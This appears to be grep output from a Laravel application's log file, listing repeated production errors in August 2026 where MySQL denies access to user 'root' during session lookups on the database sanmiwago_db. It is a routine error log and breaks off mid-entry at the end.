./storage/logs/laravel.log:[2026-08-10 07:55:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NIxi6KjbNQ0K2Ug7NRSllqApXdmBCqb4WbfCwnQ0 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NIxi6KjbNQ0K2Ug7NRSllqApXdmBCqb4WbfCwnQ0 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 07:55:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zxCACTAu8Ryg0AWBEmSYJ9qW7m9sDOkh3KBExiwy limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zxCACTAu8Ryg0AWBEmSYJ9qW7m9sDOkh3KBExiwy limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-10 10:03:21] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = laGPyL6WTB4I19Zf0O1PMQpjPpQoRwnozVjLmcU7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = laGPyL6WTB4I19Zf0O1PMQpjPpQoRwnozVjLmcU7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-11 01:59:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = PtvNqLdQVc3zL6bf1pwDZ11xQuk8spwnnkbuNvLY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = PtvNqLdQVc3zL6bf1pwDZ11xQuk8spwnnkbuNvLY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-11 07:07:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = buOUGwzowLUIsETq2b886zHo18c91CwsHKziN1fm limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = buOUGwzowLUIsETq2b886zHo18c91CwsHKziN1fm limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-11 23:45:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Cu7v5HL2jRSgSwz3ZZOs986K7wtOeE6wLKILPvsp limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Cu7v5HL2jRSgSwz3ZZOs986K7wtOeE6wLKILPvsp limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-11 23:51:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TijalTpyyI7J3ZL6BeGbBJdayLaoIz5E3zuihkJG limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TijalTpyyI7J3ZL6BeGbBJdayLaoIz5E3zuihkJG limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-12 08:23:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = d7unQ6PoXaNACJibvovii0b69eMgZnzh6bFVafHz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = d7unQ6PoXaNACJibvovii0b69eMgZnzh6bFVafHz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-13 20:55:16] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = K5YEe1tW4lQmfpVvX4SB3F8MiNy9zYPsLNEerJpx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = K5YEe1tW4lQmfpVvX4SB3F8MiNy9zYPsLNEerJpx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-13 20:55:17] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3nch9j44gseBVXZ5nfBgazgEe0qKrpwEhLUOuwIx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3nch9j44gseBVXZ5nfBgazgEe0qKrpwEhLUOuwIx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-13 22:00:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CluExTFIeTt5MA287wZuYMiWBHcj3DBLyLMdfAbI limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CluExTFIeTt5MA287wZuYMiWBHcj3DBLyLMdfAbI limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-14 19:42:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = lFpGFQGowzqW5SFd2Ill2uddpszZYzQdC0cFFL98 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = lFpGFQGowzqW5SFd2Ill2uddpszZYzQdC0cFFL98 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-15 06:37:37] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Gp95fkpxTGyZmqwDGoJ0cHKe6CPgb24yYtevYEFR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Gp95fkpxTGyZmqwDGoJ0cHKe6CPgb24yYtevYEFR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-15 14:44:47] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bxVmXFpy2GwICY31ctTsWXMhjV9VFQedBt7aC9D8 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bxVmXFpy2GwICY31ctTsWXMhjV9VFQedBt7aC9D8 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-15 18:57:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vXJRNX7Qkmv2rGuTL1HEUTYRWFFsJTKAs64UlRLb limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vXJRNX7Qkmv2rGuTL1HEUTYRWFFsJTKAs64UlRLb limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-16 13:04:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HLoZYZeLu5kpFmBoQRmugDvXDbQ3Ma8SyfO21tuo limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HLoZYZeLu5kpFmBoQRmugDvXDbQ3Ma8SyfO21tuo limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-17 11:52:33] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nIJuNcws2v93NIorjyXFe6cTaUNsDOIB1GH3xvlp limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nIJuNcws2v93NIorjyXFe6cTaUNsDOIB1GH3xvlp limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-18 13:02:21] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5mn1aIeR4jddQoA5xleHiAYP5LL1IdnynDybOfoZ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5mn1aIeR4jddQoA5xleHiAYP5LL1IdnynDybOfoZ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-18 13:13:15] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mKa8S0ji2DGL8KxWoY6tIK4DQn9rxHyvLGHF5wQV limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mKa8S0ji2DGL8KxWoY6tIK4DQn9rxHyvLGHF5wQV limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-19 04:00:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = LAhMUNcpQOe6WvINwTejMZuqMsF4N26jLUQT53IY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = LAhMUNcpQOe6WvINwTejMZuqMsF4N26jLUQT53IY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-19 09:31:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kd5bvprfO3uuv4CjYMW32ZyWgbq9EOK4BJlwMUID limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kd5bvprfO3uuv4CjYMW32ZyWgbq9EOK4BJlwMUID limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-20 03:46:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Ddsi82HwAsX35Ny5ZabPpcRgwdvo4Alw5QkwHc4p limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Ddsi82HwAsX35Ny5ZabPpcRgwdvo4Alw5QkwHc4p limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-20 05:44:03] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jTKMvwa47MkAo0U56L6o5C9LtvdUbrwMrvMJ5li5 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jTKMvwa47MkAo0U56L6o5C9LtvdUbrwMrvMJ5li5 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-20 15:04:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0OSnP36biCUupEBa2YgEJIq2OQa5ZBRPLhEJ5ahT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0OSnP36biCUupEBa2YgEJIq2OQa5ZBRPLhEJ5ahT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-20 15:20:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = f4OCu1SaIl5d3kDTHf83nUCzQ21r4cDsxUxrzNIP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = f4OCu1SaIl5d3kDTHf83nUCzQ21r4cDsxUxrzNIP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-20 21:01:25] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zpMz2OJm9M4FNnehlJVxejl0awaGRYxnIQwUd5Kw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zpMz2OJm9M4FNnehlJVxejl0awaGRYxnIQwUd5Kw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-21 02:37:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = X96CIQ1K2t79FUB1qJeTCryoDvYD5tebcM2DzaCf limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = X96CIQ1K2t79FUB1qJeTCryoDvYD5tebcM2DzaCf limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-21 15:15:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EAhuKaAWHZe9cGBicMve8XEuSaGigZIXGVL1d7Sf limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EAhuKaAWHZe9cGBicMve8XEuSaGigZIXGVL1d7Sf limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-21 18:30:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HWHmYxCZW21CCkxun1aHGO7bEseUnwSFOgtXDPVF limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HWHmYxCZW21CCkxun1aHGO7bEseUnwSFOgtXDPVF limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-08-21 21:09:20] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = evcVO9Ftk5dAFZ9TkASvI4mUDmMepkXj6vwgq9Yx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = evcVO9Ftk5dAFZ9TkASvI4mUDmMepkXj6vwgq9Yx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at 